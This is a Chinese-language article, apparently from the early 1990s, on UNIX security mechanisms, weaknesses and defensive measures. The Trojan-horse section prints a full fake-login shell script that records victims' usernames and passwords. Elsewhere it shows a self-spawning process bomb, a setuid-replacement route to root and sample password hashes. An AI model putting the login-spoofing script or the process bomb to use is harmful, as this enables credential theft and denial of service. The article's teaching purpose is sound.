UNIX系统是为支持多用户而设计的, 故为多用户提供了访问机器的多种途径, 同时也为用户之间和多机之间通信提供了多种工具, 然而在当今世界上出于各种目的, 未授权人员常常打入计算机系统. 当我们越来越依赖于UNIX机器以及机器中的文件和数据时, 系统安全性也随之变得越来越重要, 虽然可以采取措施阻止非法访问, 但是一种复杂操作系统的自然趋势是时间越久安全性越差, 我们必须警惕安全性缺陷, 及时堵塞漏洞, 保护系统. 下面首先讨论UNIX的安全保护机制, 然后探讨一些不安全的因素, 最后提出相应的安全措施.
I. UNIX的安全保护机制
1. 注册标识和口令
UNIX系统中, 安全性方法的核心是每个用户的注册标识(loginid)和口令
(password). 要成功注册进入UNIX系统, 必须打入有效的用户标识, 一般还必须输入正确的口令. 口令是以加密形式存放在/etc/passwd文件中, 每个用户占一行, 另外几个系统正常工作所必需的标准系统标识也占一行. 每行由几个以冒号(:)分隔的域组成: 域1是用户标识, 域2是口令, 域3是用户标识数, 域4是用户组标识, 域5是注释, 域6是用户主目录, 最后一个域是用户注册shell的路径全名(缺省为/bin/sh).
%cat/etc/passws
root:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/csh
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
sync::1:1::/:/bin/sync
wwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh
+::0:0:::
早期UNIX版本中, 域2以加密形式放置用户的实际口令. 而SVR3的近期版
本却引入了一个仅含加密后口令的文件即/etc/shadow. 它存放每个用户的标识及加密后的口令, 描述最后一次修改口令的时间, 允许修改口令的最早期限和必须修改口令的最晚期限. /etc/shadow中的行与/etc/passwd中的行对应./etc/shadow文件由命令pwconv生成. 手工修改/etc/passwd文件后, 必须立即运行pwconv, 保证/etc/shadow按照刚进行过的修改更新. 只有超级用户可对/etc/passwd和/etc/shadow进行修改.
另外, 有些UNIX版本还显示最近一次使用用户标识的情况. 注册时显示:
login : wwm
password:
Login last used : Fri Aug 7 22:24:41 CDT 1993
如果显示时间晚于用户记忆中自己最近使用的时间, 则该标识就被别人占
用过了, 该用户应立即修改口令.命令passwd改变口令, 一个口令至少要有6个字符长, 其中至少一个(最好两个)是非字母符号, 最好大小写混用和采用超常或非直觉字符序列, 不能容忍的平凡口令是用户的注册标识, 工程项目名, 地名或电话号码等.
2. 文件权限
文件安全是操作系统安全最重要的部分, UNIX系统每一文件都有一系列控
制信息决定了不同的用户对该文件的访问权限. 下面是文件的权限位格式:
U G T R W X/S R W X/S R W X/S
| | | 用户 同组 其他
调 调 粘
整 整 着 R: 读 W: 写 X/S : 执行/搜索
主 组 位
它们由四个八进制数组成: 第一个八进制数是调整uid位, 调整gid位和粘
着位, 后面三个八进制数分别表示文件所有者, 同组用户和其他用户对该文件的访问权限. 下面是命令ls -l的输出形式:
drwxr-sr-x 3 root 512 Oct 14 1990 nserve
-rw-r--r-- 1 root 1145 Oct 14 1990 aliases
lrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/adm
srw-rw-rw- 1 root 0 Apr 12 06:42 log
brw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0a
crw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouse
命令ls-l输出的左边给出了文件的访问权限或称访问方式, 其中最左边位
含义为:
- 说明为普通文件
l 说明为链接文件
d 说明为目录
p 先进先出特别文件
b 说明为块特别设备文件
c 说明为字符特别设备文件
系统提供了专门处理文件和目录的所属关系和访问权限问题几个命令:
chown: 可以将文件所属转让
chgrp: 改变文件所属小组
chmod: 改变文件访问权限
3. 约束shell
标准shell提供用户许多功能, 如用户可在文件系统中漫游等, 然而几乎
所有UNIX系统都提供另一个称为rsh的shell, rsh是标准shell的一个子集:
. rsh规定目录改变命令无效
. 包含字符"/", ">"和">>"的命令无效
. 不能改变文件路径变量$PATH的值等
但当rsh的用户在运行一个shell程序时, rsh将调用标准shell全权执行程
序中的所有命令, 这时上述rsh的限制将不起作用. 因此, 更灵活的限制手段是由系统管理员编制一个专用的shell程序, 取代标准shell程序, 用户注册后即进入该shell, 程序执行终了时立即自动退出系统, 从而达到对一些用户进行严格管理和限制的目的.
4. 文件加密
正确的文件权限能限制非法用户对文件的访问, 但不能排除一些高明的入
侵者和超级用户读取文件.
ed, vi和emacs这类编辑程序选项-x提供一种生成并加密文件的能力, 在
装入时对文件解密, 回写时再加密.
UNIX系统还提供加密解密过滤程序crypt, 该命令从标准输入读, 向标准
输出写. 有的系统还提供DES命令, 遗憾的是人们对UNIX的加密算法了解太深, 有一种打破crypt的程序是分析普通英语文本中和加密文件中字符的出现频率,因此, 过分相信文件加密是危险的, 但我们可以在加密前用另一个过滤程序改变字符出现的频率, 如用pack:
%pack example.txt
%cat example.txt.z | crypt >out.file
解密时要扩张(unpack)这一文件, 另外压缩后通常可节约占原文件20%到
40%的空间.
%cat out.file | crypt >example.txt.z
%unpack example.txt.z
当然, 将文件写软盘或磁带上, 删除机器中的原文件, 妥善保管磁介质是
最保险的方法.
II. 不安全的因素
1. 口令
由于UNIX允许用户不设置口令, 因而非法用户可通过/etc/passwd文件查
出未使用口令的用户(或者即使设置了口令, 却泄露了出去), 盗用其名进入系统, 读取或破坏该用户的文件.另外就是口令猜测程序了, 入侵者不断地输入可能的口令(或者由程序产生), 进行加密并和/etc/passwd文件中的口令密文比较, 直到成功地获得某一用户的口令为止. 虽然这比较费时, 但由于用户在选择口令时的局限性, 成功的例子还是很多的.
2. 文件
我们正确设置文件权限, 某些设置可以增加文件的不安全因素, 让我们看
几个设置了不正确权限的文件的例子:
-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/tty
drwxrwxrwx 7 bin 2048 Aug 7 07:57 etc
-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/df
命令/bin/tty任何用户都有写许可, 意谓着谁都可以直接修改此命令或用
另一文件替换此命令, 这往往会造成严重的后果.目录/etc对所有用户有写许可, 则任意用户可修改或替换该目录下的passwd文件, 可以使超级用户没有口令, 从而以特权身份侵入系统./bin/df是调整uid的, 对该命令有写许可, 则用户可以用/bin/sh替换此df命令, 然后执行(实际是/bin/sh)即获得超级用户特权.
从以上例子可看出, 文件的写权限往往是不安全的因素, 对于目录和使用
调整位的文件来说更是危险.
3. 特洛伊木马
也许最隐蔽的不安全因素是特洛伊木马, 它是获得系统特权和用户口令的
一种有效方法. 让我们看下面例子:
#! /bin/sh
# trap V1.o 1992.3.28
# Function: Get the other user's password
# Usage: trap pid
if [ $# -ne 2 ]; then
echo "ERROR: invalid numbers of arguments"
echo "Usage: trap pid"
exit 1
fi
clear
# change interrupt character. The default is DEL.
stty instr +
while [ 1]
do
echo -n ":V& login: "
read username
if[ "$username" != "" ]; then
break
fi
done
stty -echo
echo -n "Password: "
read passwd
echo ""
echo $username $passwd >> /f/wwm/tmp/login
sleep 1
echo "Login incorrect"
stty echo
# reset default interrupt character DEL (^?).
stty intr
# logout yourself username.
kill -9 $1
# OK.
上面的shell程序伪装成录入程序, 非法用户在某终端上运行该程序后走
开, 等待受骗者的到来, 就可轻易窃走该用户的口令.
另外一些常见的情形是侵入者在某用户的一个目录下植入洛伊木马程序,
一旦该用户在此目录下执行此程序, 侵入者便可以获取该用户权限, 进而破坏用户文件, 如伪装的pwd命令, ls命令和su命令等.
4. 设备特殊文件
UNIX系统的两类设备(块设备和字符设备)被当作文件看待, 称为特别文件, 都在/dev目录下, 对于特别文件的访问, 事实上就访问了物理设备. 这些特别文件是系统安全的一个重要方面.
1) 内存
对物理内存和系统虚空间, System V 提供了相应的文件/dev/mem和/dev/kmem, mem是内存映象的一个特别文件, 它可以用于检验(甚至修补)系统. 若该文件用户可改写, 则可在其中植入洛伊木马或通过读取和改写主存内容而窃取系统特权.
2) 块设备
由于文件系统的操作自然牵涉到块设备的读写, UNIX System V对块设备
的管理分为三层, 最高层是与文件系统的接口, 包括块设备的各种读写操作. 例如磁盘, 如果一旦对盘有访问权限, 就可以修改其上的文件, UNIX允许安装不同的盘作为文件系统, 非法用户可以通过安装自己的软盘作为文件系统, 而其软盘上有修改后的系统文件, 如一些属于root的setuid程序, 这样他就可以安装自己的文件系统, 执行非法的setuid程序, 获取更高的特权.
3) 字符设备
例如终端设备, 在UNIX中, 每个用户都通过终端进入系统, 用户对其录入
的终端有读写权限. 由于UNIX对文件权限的检查往往只在打开操作(open系统调用)时进行, 其后的操作往往不再检查, 因此某些用户进入系统后可以编写一监测程序, 读取其后用户录入该终端的输入信息.
5. 网络
UNIX的网络程序主要是uucp(UNIX to UNIX copy), uucp可以在UNIX系统
之间传输文件和远程执行命令. 由于历史的原因, 它可能是UNIX系统中最不安全的部分.
一种情况是用户可以使用uucp复制远程系统的/etc/passwd文件, 查出未
使用口令的用户, 从而通过该用户进入远程系统; 另一种情形是在uucp机制中未加密的远程uucp号的口令存在一个普通系统文件/usr/lib/uucp/L.sys中, 非法用户在窃取root权限后通过读取该文件而获得每一远程uucp帐号的口令, 进而破坏远程系统.
6. 其它
1) 邮件
在BSD, SUNOS等版本中, 实用程序/bin/mail首先调用mktemp()得到临时
文件, 然后判断是发信还是读信. mail进程在得到文件名后打开文件写以前, mail进程可能会因为时间片用完而被迫放弃CPU, 这时其它进程占据CPU后,可将某些重要的系统文件与临时文件链接, 等到mail再次运行时, 它要写入的临时文件实际上已变成系统文件(如/etc/passwd), 这样就可轻易篡改系统文件.
2) 后台命令
shell提供操作符&使用户在后台运行命令, UNIX系统允许用户建任意多个
后台进程, 直到系统核心内部说明的最大值, 但远未达到这一极限之时, 系统性能即开始受损. 遗憾的是, 很多UNIX版本的ps命令不能很好地反映后台进程的状态. 下面是一个非常简单的shell程序:
% cat call-self
call-self
% call-self &
投入后台方式运行后, 将产生永无休止的进程, 即使是root也无法用kill
命令终止它, 只有直至系统崩溃. 如果按如下方式运行, 情况又将如何?
% cat call-self
call-self &
% call-self &
3) 任务调度
为使多进程都能够公平访问机器的单CPU, 操作系统内的分时机构必须在
某一进程耗尽应分享的CPU资源后切换至另一进程, UNIX提供了计时和调度工具, 如at和batch命令. 如果对授权用户清单文件/usr/lib/cron下的at.allow和at.deny文件权限设置不对, 未授权用户可能就会对系统造成极大的破坏.另外, 还有如游戏, 很多游戏程序产生一些中间文件, 有些病毒程序和入侵者就可能会从这些文件侵入. 因此, 我们也必须对游戏提高警惕.
III. 安全措施
1. 系统管理员
系统管理员担负着维护整个系统安全的重要使命, 必须谨慎地管理系统:
1) 正确设置系统文件和系统目录的访问权限
2) 选择root口令, 并定期更换. 认真确定root用户组权限, 制止不合法
用户申请帐号
3) 经常检查sulog文件, 查找可能的入侵者踪迹
4) 检查/usr/lib/crontab文件内容, 防止有人蓄意破坏文件系统或埋植
特洛伊木马
5) 仔细认可用户安装自己的文件系统
6) 对于网络环境:
. 防止信息内容泄露
. 防止通信量分析
. 检查信息源的修改
. 检查设备错误
. 检查连接请求的冒充
2. 用户
用户要保证自己的信息, 必须充分正确地运用安全保护机制:
1) 选择好口令, 并保存好, 定期更换
2) 仔细设置.profile, umask和PATH
3) 对重要正文使用加密, 并做好备份
4) 在通过终端录入系统时, 最好先清一下终端, 防止有诈
5) 离开终端时, 一定要退出系统
总结
本文首先讨论了UNIX系统的一些安全保护机制:
1.注册标识和口令是UNIX系统安全性方法的核心;
2.文件安全是操作系统安全最重要的部分, UNIX系统的每一文件都有一系列控制信息决定了不同的用户对该文件的访问权限;
3.约束SHELL规定标准SHELL的一些命令无效, 如改变路径和重定向命令无效;
4.文件加密是保护用户重要文件不被他人盗取的一种必要手段.
然后探讨了一些不安全的因素:
1.口令, 非法用户可通过未使用口令或口令泄密了的用户注册标识进入系统, 或者编写口令猜测程序获取其他用户甚至超级用户口令, 从而读取或破坏用户文件;
2.文件, 设置了不正确权限的文件是不安全的一个重要因素;
3.特洛伊木马, 是获取系统特权和用户口令的一种有效方法, 也许是最隐蔽的不安全因素;
4.设备特殊文件, 包括块设备和字符设备;
5.网络, 由于历史的原因, 它可能是UNIX系统中最不安全的部分;
6.其它, 如邮件, 后台命令, 任务调度和游戏等.
最后提出了系统管理员和用户必须采取的一些安全措施.